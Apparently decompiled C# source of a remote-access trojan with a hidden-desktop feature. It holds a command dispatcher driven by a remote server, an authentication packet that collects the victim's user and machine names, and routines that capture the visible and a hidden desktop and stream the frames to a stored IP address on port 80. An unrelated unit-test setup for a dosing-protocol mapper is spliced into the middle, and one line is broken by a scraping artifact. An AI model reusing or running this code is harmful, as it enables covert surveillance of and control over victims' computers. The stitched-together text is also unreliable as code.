// Token: 0x060000D0 RID: 208 RVA: 0x00005E7C File Offset: 0x0000407C public static Method.Client DestroyMapper(object setup) { try { List <byte[]> list = new List <byte[]> { setup }; byte b = list[0].ToList <byte>().GetRange(0, 1)[0]; Method.Client result = null; List <byte> list2 = list[0].ToList <byte>(); list2.RemoveRange(0, 6); list[0] = list2.ToArray(); list = SchemaMapper.CancelContext(SchemaMapper.CancelContext(list[0], Method.m_Expression)[0], Method.m_Message); switch (b) { case 1: result = new Method.VisitorSpecificationQueue(1, list[0][0]); break; case 2: result = new Method.Consumer(); break; case 3: result = new Method.ModelInterpreterModel(list[0][0], list[1][0], list[2], list[3], list[4][0]); break; case 4: result = new Method.DispatcherParserResolver(list[0][0], list[1][0]); break; case 5: result = new Method.TestSpecificationQueue(list[0][0]); break; case 6: result = new Method.SpecificationMapper(); break; case 7: result = new Method.PolicyAlgoListener(); break; case 8: result = new Method.IteratorAlgoListener(); break; case 9: result = new Method.ObserverAlgoListener(Encoding.ASCII.GetString(list[0])); break; } return(result); } catch { } return(null); }
// Token: 0x060000CC RID: 204 RVA: 0x00005D00 File Offset: 0x00003F00 public static void InstantiateMapper(object item, object pred) { if (pred != null) { switch (((Method.Client)pred).CompareGetter()) { case 1: { SchemaMapper.ReflectContext("stream start received"); byte utils = ((Method.VisitorSpecificationQueue)pred).m_Utils; item.streamClass.StopStream = false; Customer.m_Printer = new Thread(new ParameterizedThreadStart(item.streamClass.WaitReq)); Customer.m_Printer.Start(utils); SchemaMapper.ReflectContext("stream started succces"); break; } case 2: item.streamClass.StopStream = true; break; case 3: Parser.InsertContext((Method.ModelInterpreterModel)pred); break; case 4: Parser.AddContext((Method.DispatcherParserResolver)pred); break; case 5: { Customer.Struct @struct = new Customer.Struct(); @struct.merchant = ((Method.TestSpecificationQueue)pred)._PredicateMapper; new Thread(new ThreadStart(@struct.ListMapper)).Start(); break; } case 6: Program.needReconnect = false; Product.tests.Dispose(); break; case 8: item.AuthStream(); break; case 9: { string parserMapper = ((Method.ObserverAlgoListener)pred).m_ParserMapper; MapperProductSchema.mapper = parserMapper; Product.tests.Dispose(); break; } } } pred = null; GC.Collect(); }
// Token: 0x060000CF RID: 207 RVA: 0x00005E48 File Offset: 0x00004048 internal void ListMapper() { try { SchemaMapper.RemoveContext(this.merchant); } catch { } }
// Token: 0x060000EC RID: 236 RVA: 0x000061B4 File Offset: 0x000043B4 public Auth() { InvocationProcessPolicy.CompareError(); this.algoMapper = Encoding.ASCII.GetBytes("<EOM>"); this.type = new byte[1]; this.winName = Encoding.ASCII.GetBytes(SchemaMapper.CalculateContext()); this.testOS = Encoding.ASCII.GetBytes(ProcessListenerTask.ReflectMapper().GetHashCode().ToString()); this.uName = Encoding.ASCII.GetBytes(Environment.UserName); this.id = Program.id; base..ctor(); }
protected override Task Context() { _parameterMapper = A.Fake <ParameterMapper>(); _schemaMapper = A.Fake <SchemaMapper>(); _protocolFactory = A.Fake <IProtocolFactory>(); _dimensionRepository = A.Fake <IDimensionRepository>(); sut = new ProtocolMapper(_parameterMapper, _protocolFactory, _schemaMapper, _dimensionRepository); _simpleProtocol = new SimpleProtocol { ApplicationType = ApplicationTypes.Intravenous, DosingInterval = DosingIntervals.DI_6_6_12, Name = "Simple Protocol", Description = "Simple Protocol description", }; _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(3).WithName(Constants.Parameters.START_TIME)); _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(4).WithName(CoreConstants.Parameters.INPUT_DOSE)); _simpleProtocol.Add(DomainHelperForSpecs.ConstantParameterWithValue(5).WithName(Constants.Parameters.END_TIME)); A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.StartTime)).Returns(new Parameter().WithName(_simpleProtocol.StartTime.Name)); A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.Dose)).Returns(new Parameter().WithName(_simpleProtocol.Dose.Name)); A.CallTo(() => _parameterMapper.MapToSnapshot(_simpleProtocol.EndTimeParameter)).Returns(new Parameter().WithName(_simpleProtocol.EndTimeParameter.Name)); _advancedProtocol = new AdvancedProtocol { Name = "Advanced Protocol", Description = "Advanced Protocol description", TimeUnit = DomainHelperForSpecs.TimeDimensionForSpecs().DefaultUnit, }; _schema = new Schema().WithName("Schema1"); _advancedProtocol.AddSchema(_schema); _advancedProtocolParameter = DomainHelperForSpecs.ConstantParameterWithValue(3).WithName("AdvancedProtocolParameter"); _advancedProtocol.Add(_advancedProtocolParameter); A.CallTo(() => _parameterMapper.MapToSnapshot(_advancedProtocolParameter)).Returns(new Parameter().WithName(_advancedProtocolParameter.Name)); _snapshotSchema = new Snapshots.Schema().WithName(_schema.Name); A.CallTo(() => _schemaMapper.MapToSnapshot(_schema)).Returns(_snapshotSchema); A.CallTo(() => _dimensionRepository.Time).Returns(DomainHelperForSpecs.TimeDimensionForSpecs()); return(Task.FromResult(true)); }
// Token: 0x060000B0 RID: 176 RVA: 0x00005440 File Offset: 0x00003640 public void WaitReq(object _mon) { byte b = (byte)_mon; this.ConcatMapper(); try { if (b == 0) { Streaming.ActiveDesktop = Streaming.defaultDesktp; new Thread(new ThreadStart(this.StreamDefault)).Start(); } else { SchemaMapper.ComputeContext(); new Thread(new ThreadStart(this.StreamAd)).Start(); } } catch (Exception ex) { SchemaMapper.ReflectContext(ex.ToString()); } }
// Token: 0x060000A5 RID: 165 RVA: 0x000048C0 File Offset: 0x00002AC0 public void AuthStream() { for (;;) { try { Packets.Auth auth = new Packets.Auth(); Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); if (MapperProductSchema.mapper == "") { socket.Connect(new IPEndPoint(IPAddress.Parse(MapperProductSchema.m_Context), 80)); } else { socket.Connect(new IPEndPoint(IPAddress.Parse(MapperProductSchema.mapper), 80)); } this.tcpSocket.NoDelay = true; List <byte> list = auth.ToList(); list.AddRange(this.m_Watcher); socket.Send(list.ToArray()); socket.ReceiveTimeout = 7000; socket.Receive(new byte[1]); if (this.streamClass != null) { this.streamClass.Dispose(); this.streamClass = null; } this.streamClass = new Streaming(socket); break; } catch (Exception ex) { SchemaMapper.ReflectContext("Error on Socket conection " + ex.ToString()); } } }
// Token: 0x060000AC RID: 172 RVA: 0x00004C50 File Offset: 0x00002E50 public void StreamDefault() { Thread.CurrentThread.Priority = ThreadPriority.Highest; Bitmap bitmap; try { if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { throw new Exception(); } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } catch { Streaming.size = Screen.PrimaryScreen.Bounds.Size; if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP"); this.StopStream = true; return; } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } ParamRuleContainer.SetThreadDesktop(Streaming.defaultDesktp); while (!this.StopStream) { try { Graphics graphics = Graphics.FromImage(bitmap); graphics.CopyFromScreen(0, 0, 0, 0, bitmap.Size); BitmapData bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); using (MemoryStream memoryStream = new MemoryStream()) { try { this.StreamCodec.CodeImg(bitmapData, memoryStream); } catch (Exception ex) { SchemaMapper.ReflectContext(ex.ToString()); } if (memoryStream.ToArray().Length > 4) { try { List <byte> list = memoryStream.ToArray().ToList <byte>(); list = this.AwakeMapper(list.ToArray()).ToList <byte>(); list.AddRange(this.@ref); this.tcpStream.Receive(new byte[1]); this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream); } catch { } } bitmap.UnlockBits(bitmapData); } graphics.Dispose(); GC.Collect(); } catch (Exception ex2) { SchemaMapper.ReflectContext(ex2.ToString()); } } this.StreamCodec.Dispose(); this.StreamCodec = null; this.IncludeMapper(); }
// Token: 0x060000B1 RID: 177 RVA: 0x000025DD File Offset: 0x000007DD private void ConcatMapper() { Streaming.size = SchemaMapper.InvokeContext(); this.StreamCodec = new FastCodec(Streaming.size); }
public void StreamAd() { Streaming.DispatcherGetterLicense dispatcherGetterLicense = new Streaming.DispatcherGetterLicense(); dispatcherGetterLicense.status = this; Bitmap bitmap; try { if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { throw new Exception(); } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } catch { Streaming.size = Screen.PrimaryScreen.Bounds.Size; if (Streaming.size.Width == 0 || Streaming.size.Height == 0) { SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP"); this.StopStream = true; return; } bitmap = new Bitmap(Streaming.size.Width, Streaming.size.Height, PixelFormat.Format24bppRgb); } ParamRuleContainer.SetThreadDesktop(Streaming.Hdsktp); Thread.CurrentThread.Priority = ThreadPriority.Highest; dispatcherGetterLicense.@class = new List <IntPtr>(); while (!this.StopStream) { try { Streaming.WrapperMapperImporter wrapperMapperImporter = new Streaming.WrapperMapperImporter(); wrapperMapperImporter.m_Server = dispatcherGetterLicense; wrapperMapperImporter.m_System = 0; ParamRuleContainer.EnumWindows(new ParamRuleContainer.Record(wrapperMapperImporter.ValidateMapper), IntPtr.Zero); for (int i = wrapperMapperImporter.m_System - 1; i >= 0; i--) { ParamRuleContainer.RegParserResolver regParserResolver = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(wrapperMapperImporter.m_Server.@class[i], out regParserResolver); if (regParserResolver.QueryMapper() != 0 && regParserResolver.StartMapper() != 0) { if (i != 0) { IntPtr asset = wrapperMapperImporter.m_Server.@class[i - 1]; ParamRuleContainer.RegParserResolver regParserResolver2 = default(ParamRuleContainer.RegParserResolver); ParamRuleContainer.GetWindowRect(asset, out regParserResolver2); if (regParserResolver2.RateMapper() < regParserResolver.RateMapper() && regParserResolver2.DeleteMapper() < regParserResolver.DeleteMapper() && regParserResolver2.SetMapper() > regParserResolver.SetMapper() && regParserResolver2.SortMapper() > regParserResolver.SortMapper()) { goto IL_26E; } } using (Bitmap bitmap2 = new Bitmap(regParserResolver.QueryMapper(), regParserResolver.StartMapper(), PixelFormat.Format24bppRgb)) { using (Graphics graphics = Graphics.FromImage(bitmap2)) { IntPtr hdc = graphics.GetHdc(); ParamRuleContainer.PrintWindow(wrapperMapperImporter.m_Server.@class[i], hdc, 0); graphics.ReleaseHdc(hdc); ParamRuleContainer.DeleteDC(hdc); Graphics graphics2 = Graphics.FromImage(bitmap); graphics2.DrawImage(bitmap2, regParserResolver.RateMapper(), regParserResolver.DeleteMapper()); graphics2.Dispose(); } } } IL_26E :; } BitmapData bitmapData = null; using (MemoryStream memoryStream = new MemoryStream()) { try { bitmapData = bitmap.LockBits(new Rectangle(0, 0, Streaming.size.Width, Streaming.size.Height), ImageLockMode.ReadWrite, bitmap.PixelFormat); if (bitmapData.Scan0 == IntPtr.Zero) { SchemaMapper.ReflectContext("no monitor detected, may be VPS/RDP"); continue; } this.StreamCodec.CodeImg(bitmapData, memoryStream); } catch (Exception ex) { SchemaMapper.ReflectContext(ex.ToString()); } if (memoryStream.ToArray().Length > 4) { List <byte> list = memoryStream.ToArray().ToList <byte>(); list = this.AwakeMapper(list.ToArray()).ToList <byte>(); list.AddRange(this.@ref); this.tcpStream.Receive(new byte[1]); this.tcpStream.BeginSend(list.ToArray(), 0, list.Count, SocketFlags.None, new AsyncCallback(this.UpdateMapper), this.tcpStream); } bitmap.UnlockBits(bitmapData); } GC.Collect(); [email protected](); } catch (Exception ex2) { SchemaMapper.ReflectContext(ex2.ToString()); } } this.StreamCodec.Dispose(); this.StreamCodec = null; this.IncludeMapper(); }